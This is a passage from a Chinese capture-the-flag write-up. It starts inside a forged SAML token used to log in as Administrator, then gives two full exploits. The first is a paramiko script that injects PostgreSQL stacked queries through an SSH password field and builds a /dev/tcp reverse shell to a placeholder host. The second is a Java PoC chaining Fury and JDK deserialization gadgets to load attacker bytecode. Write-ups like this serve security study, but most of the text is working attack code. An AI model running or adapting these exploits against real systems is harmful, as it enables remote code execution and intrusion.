atement%3E%3Csaml%3ASubject%3E%3Csaml%3ANameIdentifier%20Format%3D%22urn%3Aoasis%3Anames%3Atc%3ASAML%3A1.1%3Anameid-format%3Aunspecified%22%3EJndaBU4kdE2MsdOj93uRZQ%3D%3D%3C/saml%3ANameIdentifier%3E%3Csaml%3ASubjectConfirmation%3E%3Csaml%3AConfirmationMethod%3Eurn%3Aoasis%3Anames%3Atc%3ASAML%3A1.0%3Acm%3Abearer%3C/saml%3AConfirmationMethod%3E%3C/saml%3ASubjectConfirmation%3E%3C/saml%3ASubject%3E%3Csaml%3AAttribute%20AttributeName%3D%22upn%22%20AttributeNamespace%3D%22http%3A//schemas.xmlsoap.org/ws/2005/05/identity/claims%22%3E%3Csaml%3AAttributeValue%3EAdministrator%40offensive.local%3C/saml%3AAttributeValue%3E%3C/saml%3AAttribute%3E%3Csaml%3AAttribute%20AttributeName%3D%22primarysid%22%20AttributeNamespace%3D%22http%3A//schemas.microsoft.com/ws/2008/06/identity/claims%22%3E%3Csaml%3AAttributeValue%3ES-1-5-21-774119550-1432414505-3505898924-1155%3C/saml%3AAttributeValue%3E%3C/saml%3AAttribute%3E%3Csaml%3AAttribute%20AttributeName%3D%22groupsid%22%20AttributeNamespace%3D%22http%3A//schemas.microsoft.com/ws/2008/06/identity/claims%22%3E%3Csaml%3AAttributeValue%3ES-1-5-21-774119550-1432414505-3505898924-513%3C/saml%3AAttributeValue%3E%3C/saml%3AAttribute%3E%3C/saml%3AAttributeStatement%3E%3Csaml%3AAuthenticationStatement%20AuthenticationMethod%3D%22urn%3Aoasis%3Anames%3Atc%3ASAML%3A2.0%3Aac%3Aclasses%3APasswordProtectedTransport%22%20AuthenticationInstant%3D%222025-02-06T10%3A09%3A52.000Z%22%3E%3Csaml%3ASubject%3E%3Csaml%3ANameIdentifier%20Format%3D%22urn%3Aoasis%3Anames%3Atc%3ASAML%3A1.1%3Anameid-format%3Aunspecified%22%3EJndaBU4kdE2MsdOj93uRZQ%3D%3D%3C/saml%3ANameIdentifier%3E%3Csaml%3ASubjectConfirmation%3E%3Csaml%3AConfirmationMethod%3Eurn%3Aoasis%3Anames%3Atc%3ASAML%3A1.0%3Acm%3Abearer%3C/saml%3AConfirmationMethod%3E%3C/saml%3ASubjectConfirmation%3E%3C/saml%3ASubject%3E%3C/saml%3AAuthenticationStatement%3E%3Cds%3ASignature%20xmlns%3Ads%3D%22http%3A//www.w3.org/2000/09/xmldsig%23%22%3E%3Cds%3ASignedInfo%3E%3Cds%3ACanonicalizationMethod%20Algorithm%3D%22http%3A//www.w3.org/2001/10/xml-exc-c14n%23%22/%3E%3Cds%3ASignatureMethod%20Algorithm%3D%22http%3A//www.w3.org/2001/04/xmldsig-more%23rsa-sha256%22/%3E%3Cds%3AReference%20URI%3D%22%23_E89JCT%22%3E%3Cds%3ATransforms%3E%3Cds%3ATransform%20Algorithm%3D%22http%3A//www.w3.org/2000/09/xmldsig%23enveloped-signature%22/%3E%3Cds%3ATransform%20Algorithm%3D%22http%3A//www.w3.org/2001/10/xml-exc-c14n%23%22/%3E%3C/ds%3ATransforms%3E%3Cds%3ADigestMethod%20Algorithm%3D%22http%3A//www.w3.org/2001/04/xmlenc%23sha256%22/%3E%3Cds%3ADigestValue%3E%2BlPB8/AxmtxrEJ4QhXPaH/E8hkysQ0HzE8jtf3RqcAU%3D%3C/ds%3ADigestValue%3E%3C/ds%3AReference%3E%3C/ds%3ASignedInfo%3E%3Cds%3ASignatureValue%3EQYZo80E22nLIKpetve4SdeStlvWQhLwSgModRrnL3rM/cWEC9uWHqJC0GsjOF8TBGB0Ucr/dLy9YYne/8zXdIZDqDnw6DhlvAsurTDHYwfjnJH5NOVNpguj8hseqgh/GM35u%2BRG7rnTwpFk8/GNj18fhDzDEcB5wj%2B2NlDHSjmFTivr7tAf2IQxc%2B0BIOpBag6Q/88OtKlfUbc8UrkEY2ym29EKkq27dLwx9ZML4hBd8FdHPx%2BzqNcZakECbIH5QvjeofwL35tTfiblRwGMjmMV82BEBxKBIG9r8%2BN8p1X535Wm/hwLSc1QeyXu5OnULLDZuTExkvaZk/MILRIuoQysTsZMZG6iFB6w7VCaYGNn0fJ41AFIIG9IZ/nO8Ciy7ND4PieMG913Yqx5YFv3JH8gLS/XDbDYYJSc/vqr1qvCd6KeVaL%2B9fMpCzRsxk8Hl7kNBML60/qNw8MT30QVVvZt030ALlXLJHU0oqRJ7fHsIQTTsgQq4Nc8pjPcqWrRjrAvUfFNoEeeRRmoawWyWKWQkKaJ1/zqQN8OouRERO2XybOzLIfw7RxP6TesIwcO2pzENSRUPbY9UYcSv8hQ64m8722aL/2/tZi7FMNYZqQ7I5REG7nl7XZ6DwWcG0DhyoYj5EYmn3Ep4mD3RVPxP80K1qhSNVZ7hcADNx5NZ/yU%3D%3C/ds%3ASignatureValue%3E%3Cds%3AKeyInfo%3E%3Cds%3AX509Data%3E%3Cds%3AX509Certificate%3EMIIE4jCCAsqgAwIBAgIQGAiAx/I8VbNIkXdAHHQuxzANBgkqhkiG9w0BAQsFADAtMSswKQYDVQQDEyJBREZTIFNpZ25pbmcgLSBzdHMub2ZmZW5zaXZlLmxvY2FsMB4XDTI1MDIwNTEwMDY1OVoXDTI2MDIwNTEwMDY1OVowLTErMCkGA1UEAxMiQURGUyBTaWduaW5nIC0gc3RzLm9mZmVuc2l2ZS5sb2NhbDCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAM8cGVVUOAf9Bg0wn1jB99FqqbYVDzf/pWdfPh4Nq4XduRNZFmlNBgt7iQfBfvfunTJIjIV9c4y81GMPhKBYGLdaZbOe9zzP3vcCCuGKTgiEAkFEnJDmGirufrC1zDgnirZuBzW04hJkJJM5msQdhe6ZMabjNubCJpIv1tt%2Bz/tSgrIiWswazaFkbecKmLC4t8j6%2BXVNBD62SbukHd57SvWLXA9%2BGoAA3nE67TsrSETClWqXi1wAeULscN6FBsdNAg6j%2BiTjSOEtjSf6MzrSL68qR5ptDYp/zPnjMdrcivLJ%2BFad4c3OhR2c100M5MwjlIJkrQTroNyJCIsquG1EE7/kGYS48DvyBSreeTW/M0ARt7QHhrf3uVK0W1jlV/0uZ0MEeNscVFE05%2By6uhX88eHbKZoOHlreUmXbSuYvKWnGGYthG74MKkAZGzFS1Cf3fpAQGs3fmVJhVf%2B55PA5b2eT8ggg/5ivYZSZjs/bWgZkj9bzbDwF1EdNwa0J1e3zlLAMWz%2B2KkoP9yegUsn5HLOtTlh1xfC/dZK5J2GGAzZTfvwEr3XACXOaoV2v9qaZeX9i42gkyMvecZRxc0vBPSVl6rOdqf7zZF78arUpHWxUu7XpG8r2zk0vwoCXOMmOzHZPYZsenjjwDU58KzqBzmVt4vVlAP9ASFJYXMGvQ3UxAgMBAAEwDQYJKoZIhvcNAQELBQADggIBAD7bWNpTiYr3j2jYPU8aN2YyhAUW165m8r9o3ekfyp5z%2BkPQU3PG5DyokHHkMs4iZRIFOR0B8TEALd3YbLVPMLkZCBJFOg2hZosjnWSVw0ddl32WKdlgpmH/e7aE5G6Bjech/jUBWc2i4wp1LQL4i3ksOxKuJKUrEyCQ2h1tDoX6h/0vhBaoBWnzvCpIgiDBFHe8/VXxIaxkKfftvYU9zWsz68jtHjDAuJrxYyp4V2JmFYA9TE1pgj9kVFfFSC98z8BVHgkvQzF98P8OreytVk9BmGbGMlopm8PoR75CRDsiqpCC1GkchPmDb5efx9toKBuL24jM8I%2BOigsvxDon8MbjHuOOkKZUlmo8CIyamXl9A1joMZZ4VxmRV7nOCjotvJF0KWa0gtknhkU0dIhK8BAq17urBX0s2Ijs2AoPyg27PcI%2BnkG%2BtZ9uMHUX8njvL2/gGdzkcyHHP2muBsFQzCLEmeOoaHYugE6ciGY6OjX6ba8bq/Q2ZZzRUB3mMnSumUKGMfrEBFr0EhFj31efCE2lngNSvHHP1XLSigWV0qDM5a4RARPpWq0ApNLwRQ73xr9nWOV2XHQDQtfK4HDJcpBtkj5IubBP6q9WXe2o7RQOLhAAssPiv6vbgdWSGMRfeF7Su6YperB7rQYp4xfA8YoU0Vp%2BJnd1dgm8swxqZRZk%3C/ds%3AX509Certificate%3E%3C/ds%3AX509Data%3E%3C/ds%3AKeyInfo%3E%3C/ds%3ASignature%3E%3C/saml%3AAssertion%3E%3C/t%3ARequestedSecurityToken%3E%3Ct%3ATokenType%3Eurn%3Aoasis%3Anames%3Atc%3ASAML%3A1.0%3Aassertion%3C/t%3ATokenType%3E%3Ct%3ARequestType%3Ehttp%3A//schemas.xmlsoap.org/ws/2005/02/trust/Issue%3C/t%3ARequestType%3E%3Ct%3AKeyType%3Ehttp%3A//schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey%3C/t%3AKeyType%3E%3C/t%3ARequestSecurityTokenResponse%3E&wctx=WsFedOwinState%3DhZlKyeI3SiKiu80v8RJhPMZLX478XroLMrffQrK4OltS5uMh9-5hRaPt8_WBJNBSdvnL3Dj9VyihWODKjy4w-kW1s9BWz5K5MT0n8KEyU0JjRO-vBpr2MjgtvqOcVEg_axJvlX5g0CjXF8J8Ibn_fA
登录成功后,可以使用 “Show response in browser” 功能在浏览器中查看此请求的响应。一旦完成,我们将成功进入到 OA 系统:
在“公司机密”处点击“查看更多”,即可得到flag:
0x05 FakeJumpServer
展示实战经验不足的一题(ssh sql注入?)
这题主要是考察选手对堡垒机这类realworld
场景的漏洞挖掘,思路对上了,做起来就非常简单。
题目入口是一个nginx
,但是这里面啥都没有。根据题目名字Jump Server,可以联想到题目可能跟堡垒机相关,可以扫描22端口以及3389端口,因为大多数堡垒都是可以通过ssh/rdp端口来访问和管理服务器,很多厂商ssh/rdp都是自己写代码实现的,所以难免会出现漏洞。
扫描题目的端口,发现开放了22端口。
连接题目的22端口,看到ssh banner,猜测这个ssh server大概率是自己实现的。
# nc 127.0.0.1 22 -v
Connection to 127.0.0.1 22 port [tcp/ssh] succeeded!
SSH-2.0-FakeJumpServer
既然是要输入账号密码,第一反应肯定是要测试sql注入,可以先通过sleep测试数据库类型,这里就不举例了,题目使用的是pgsql
这里密码长度限制是64,并没有严格的长度限制和字符过滤让选手去绕,直接堆叠注入命令执行即可
exp:
# encoding:utf-8
import paramiko
# import logging
#
# logging.basicConfig()
# logging.getLogger("paramiko").setLevel(logging.DEBUG)
def ssh_login(hostname, port, username, password):
try:
ssh_client = paramiko.SSHClient()
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh_client.connect(hostname, port, username, password, allow_agent=False, look_for_keys=False)
print("done")
ssh_client.close()
except Exception as e:
print(e)
def exec_command(hostname, port, cmd):
password = "';COPY s FROM PROGRAM '{}';--".format(cmd)
print(password)
if len(password) > 64:
print("长度超长: {}".format(len(password)))
ssh_login(hostname, port, "root", password)
if __name__ == "__main__":
hostname = "127.0.0.1"
port = 22
username = "root"
password = "-1';CREATE TABLE s(a text);--"
ssh_login(hostname, port, username, password)
cmd="echo -n \"/bin/sh -i >\" > /tmp/1.sh"
exec_command(hostname, port, cmd)
cmd="echo -n \"& /dev/tcp/\" >> /tmp/1.sh"
exec_command(hostname, port, cmd)
cmd="echo -n \"x.x.x.\" >> /tmp/1.sh"
exec_command(hostname, port, cmd)
cmd="echo -n \"x/4444 0>&1\" >> /tmp/1.sh"
exec_command(hostname, port, cmd)
cmd="chmod +x /tmp/1.sh"
exec_command(hostname, port, cmd)
cmd="bash -c /tmp/1.sh"
exec_command(hostname, port, cmd)
0x06 Jtools
发现题目只有一个路由存在fury反序列化
对比官方的fury黑名单是多了一些内容的
通过审计发现
com.feilong.core.util.comparator.PropertyComparator
的compare
方法可以触发getter
调用,然后利用动态代理触发MapProxy
的invoke
,到达BeanConverter
的jdk二次反序列化点绕过黑名单
这里的jdk反序列化直接利用
PriorityQueue.readObject()
PropertyComparator.compare()
TemplatesImpl.getOutputProperties()
...加载自定义字节码
poc
package com.exp;
import cn.hutool.core.map.MapProxy;
import cn.hutool.core.util.ReflectUtil;
import cn.hutool.core.util.SerializeUtil;
import com.feilong.core.util.comparator.PropertyComparator;
import com.feilong.lib.digester3.ObjectCreationFactory;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.fury.Fury;
import org.apache.fury.config.Language;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
public class Main {
static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field declaredField = obj.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(obj, value);
}
public static void main(String[] args) throws Exception {
///templates
InputStream inputStream = Main.class.getResourceAsStream("Evil.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
TemplatesImpl tmpl = new TemplatesImpl();
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{bytes});
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmpl, "hello");
TemplatesImpl tmpl1 = new TemplatesImpl();
Field bytecodes1 = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes1.setAccessible(true);
bytecodes1.set(tmpl1, new byte[][]{bytes});
Field name1 = TemplatesImpl.class.getDeclaredField("_name");
name1.setAccessible(true);
name1.set(tmpl1, "hello2");
///templates
String prop = "digester";
PropertyComparator propertyComparator = new PropertyComparator(prop);
Fury fury = Fury.builder().withLanguage(Language.JAVA)
.requireClassRegistration(false)
.build();
////jdk
Object templatesImpl1 = tmpl1;
Object templatesImpl = tmpl;
PropertyComparator propertyComparator1 = new PropertyComparator("outputProperties");
PriorityQueue priorityQueue1 = new PriorityQueue(2, propertyComparator1);
ReflectUtil.setFieldValue(priorityQueue1, "size", "2");
Object[] objectsjdk = {templatesImpl1, templatesImpl};
setFieldValue(priorityQueue1, "queue", objectsjdk);
/////jdk
byte[] data = SerializeUtil.serialize(priorityQueue1);
Map hashmap = new HashMap();
hashmap.put(prop, data);
MapProxy mapProxy = new MapProxy(hashmap);
ObjectCreationFactory test = (ObjectCreationFactory) Proxy.newProxyInstance(ObjectCreationFactory.class.getClassLoader(), new Class[]{ObjectCreationFactory.class}, mapProxy);
ObjectCreationFactory test1 = (ObjectCreationFactory) Proxy.newProxyInstance(ObjectCreationFactory.class.getClassLoader(), new Class[]{ObjectCreationFactory.class}, mapProxy);
PriorityQueue priorityQueue = new PriorityQueue(2, propertyComparator);
ReflectUtil.setFieldValue(priorityQueue, "size", "2");
Object[] objects = {test, test1};
setFieldValue(priorityQueue, "queue", objects);
byte[] serialize = fury.serialize(priorityQueue);
System.out.println(Base64.getEncoder().encodeToString(serialize));
}
}
题目不出网,将flag写入/tmp/desc.txt回显